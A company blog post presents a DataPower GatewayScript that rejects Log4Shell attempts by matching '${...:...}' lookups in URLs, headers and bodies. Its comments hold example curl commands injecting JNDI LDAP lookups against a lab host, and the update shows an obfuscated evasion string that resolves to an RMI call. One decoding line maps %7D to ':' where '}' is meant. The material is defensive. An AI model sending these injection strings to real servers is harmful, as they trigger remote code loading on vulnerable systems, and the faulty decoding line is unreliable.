Subscribe to our 0800-DEVOPS Newsletter

    Get in touch

    Not sure where to start? Let our experts guide you. Send us your query through this contact form.






      Get in touch

      Contact us for all inquiries regarding services and general information






        Use the form below to apply for course





          Get in touch

          Contact us for all inquiries regarding services and general information






          Blog

          Log4Shell protection with DataPower GatewayScript

          clock6 minute read

          16.12.2021

          Last weekend, the Log4Shell (CVE-2021-44228), a zero-day vulnerability had shaken the Internet.

          The vulnerability was discovered in the widely used Apache Log4J logging framework. Log4J has a feature to embed the JNDI request in logs. Logging of non-sanitized messages can lead to arbitrary code execution on the server. In some cases, the “attack message” can pass through many infrastructure levels before reaching the vulnerable backend server.

          The initial Log4J release that was created to address this issue (2.15.0) was found inadequate (CVE-2021-45046), so a new release (2.16.0) was created.

          If you are still not sure all your backend services and applications are safe and you use the IBM DataPower Gateway as the entry point to your system, there is a quick solution that will help you sleep better.

          IBM DataPower Gateway to the rescue

          Custom code written for the IBM DataPower Gateway is mostly written using one of:

          For Log4Shell protection, we have chosen to use the GatewayScript programming model to search for the attack attempts in the received message (including the input URL and HTTP headers).

          We search for one of the following strings (anywhere) and reject the request if a string is found:

          • ${*:*} (new broader match)
          • ${jndi: (old match)
          • ${*:jndi: (old match)
          • ${env: (old match)

          We must add the script to all rules on the DataPower that pass requests to the backends we want to protect.

          The example usage of the Log4Shell protection script (in your case, there would be other actions between GatewayScript action and the Results action)

          Log4Shell protection GatewayScript

          const sm = require('service-metadata')
          const hm = require('header-metadata')
          
          /*
          Block requests where log4j vulnerability is attacked, for example:
          - curl http://172.17.0.3:10000/log4shell -A '${jndi:ldap://172.17.0.1:2000/test}'
          - curl http://172.17.0.3:10000/log4shell -H 'x-some-header: ${jndi:ldap://172.17.0.1:2000/test}'
          - curl 'http://172.17.0.3:10000/log4shell?name=$\{jndi:ldap://172.17.0.1:2000/test\}&surname=Else'
          
          Blocked strings including multiple evasion patterns:
          - ${*:*}
          
          Unfortunately these are not enough (https://blog.cloudflare.com/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/):
          - ${jndi:
          - ${*:jndi:
          - ${env:
          */
          
          // Pattern which match an exploit of Log4J vulnerability, including evasion patterns
          const exploitPattern = new RegExp('\\${[^:]+:[^}]+}')
          // Can limit payload search to first N characters
          const limitPayloadSearchCharacters = Number.MAX_VALUE
          const checkPayload = true
          
          let valid = true
          
          // Block any string like "${*:*}"
          function isExploit(text) {
          	// Decode escape sequences (can be binary content)
          	// $ - %24
          	// { - %7B
          	// : - %3A
          	// } - %7D
          	const textToCheck = text
          		.replace(/(%|\\u00)24/g, "$")
          		.replace(/(%|\\u00)7(B|b)/g, "{")
          		.replace(/(%|\\u00)3(A|a)/g, ":")
          		.replace(/(%|\\u00)7(D|d)/g, ":")
          	return exploitPattern.test(textToCheck)
          }
          
          // Check if input URL contains Log4J attack
          const uri = sm.getVar('var://service/URL-in')
          if(isExploit(uri)) {
          	console.warn(`Log4Shell attack found in the request URL: '${uri}'`)
          	valid = false
          }
          
          // Check if HTTP headers contains Log4J attack
          const headers = JSON.stringify(hm.current.get())
          if(isExploit(headers)) {
          	console.warn(`Log4Shell attack found in request headers: '${headers}'`)
          	valid = false
          }
          
          
          if(valid && checkPayload) {
          	// Check if HTTP body contains Log4J attack
          	session.INPUT.readAsBuffer(function (error, buffer){
          		if(error) {
          			console.error(`Internal error processing the request: '${error}'`)
          			session.reject('Internal error processing the request.')
          		}
          		else {
          			const body = buffer
          			if(isExploit(body.toString().substring(0, limitPayloadSearchCharacters))) {
          				console.warn(`Log4Shell attack found in the request body.`)
          				valid = false
          			}
          			if(!valid) {
          				session.reject('Request rejected.')
          			}
          		}
          	})
          }
          if(!valid) {
          	session.reject('Request rejected.')
          }
          

          UPDATE

          When I created the initial version of the script, I was not aware of some of the intricacies of Log4J 2 Lookups and all evasion patterns that can be used to avoid detection of the vulnerability attack.

          For example, the lookup ${${lower:JNDI}:${::-r}${::-m}${::-i}://172.17.0.1:2000/test} will be converted to the lookup ${jndi:rmi://172.17.0.1:2000/test} and will result in the RMI call.

          The great article about evasion patterns that are already used in the wild can be found on the Cloudflare blog created by John Graham-Cumming and Celso Martinho.

          The initial script is now updated to cover more generic classes of Log4J vulnerability attacks. We now consider every string like “${*:*}” to be the attack. The current regexp used is \${[^:]+:[^}]+} which matches a string:

          • starting with “${“
          • containing at least one “:”
          • ending with “}”

           

          We could even match any string containing the “${” sequence but I wanted to allow to send at least some benign strings like:

          • “${HOSTNAME}”
          • “${REGISTRY}/${IMAGE_FULLNAME}”

           

          This pattern can be further improved or adjusted to your needs:

          • you can disable the validation of the request payload (if you are sure your backend will never log payloads)
          • you can limit the validation of the request payload to the first N bytes
          • you can reject all requests containing the “${” string (after unescaping escaped characters)
          • you can change the pattern to allow some additional strings, like “${REGISTRY}/${IMAGE_NAME}:${IMAGE_VERSION}”

           

          Please be aware that it is of the utmost importance to upgrade all of your Java components to use the latest version of the Log4J library or use some of the alternatives. In the CROZ, we use the Logback with the SLF4J for many years. These are the default for Spring Boot applications so it could be you use those too.

          However, when upgrading the Log4J library or applying work-around solutions be aware that some additional issues could occur. In some cases, the performance increase of the added checks could overwhelm your infrastructure. Please monitor the load to be sure the infrastructure will be able to handle that and/or disable unnecessary logging if possible.

          Conclusion

          This quick, easy and extendable protection can make your backend infrastructure safer. The solution is easily extendable and easy to maintain – please feel free to use it and improve it with your own ideas.

          The cover image is created by kareni from Pixabay.

          Vedran Vidović is a proactive and experienced software developer. Since 2001, he works in IT industry, and has gained extensive experience in development, analysis, design, and architecture, applying different technologies on many projects from various business domains. He has broad experience in J2EE technologies on projects of various complexity. Since 2009, he gathered extensive experience in the enterprise integration projects, using mostly IBM DataPower Gateway and IBM API Connect.

          Product Management and application security with Tanya Janca

          How does one go about making teams more sensible to security issues?

          Read the article

          CONTACT

          Get in touch

          Contact us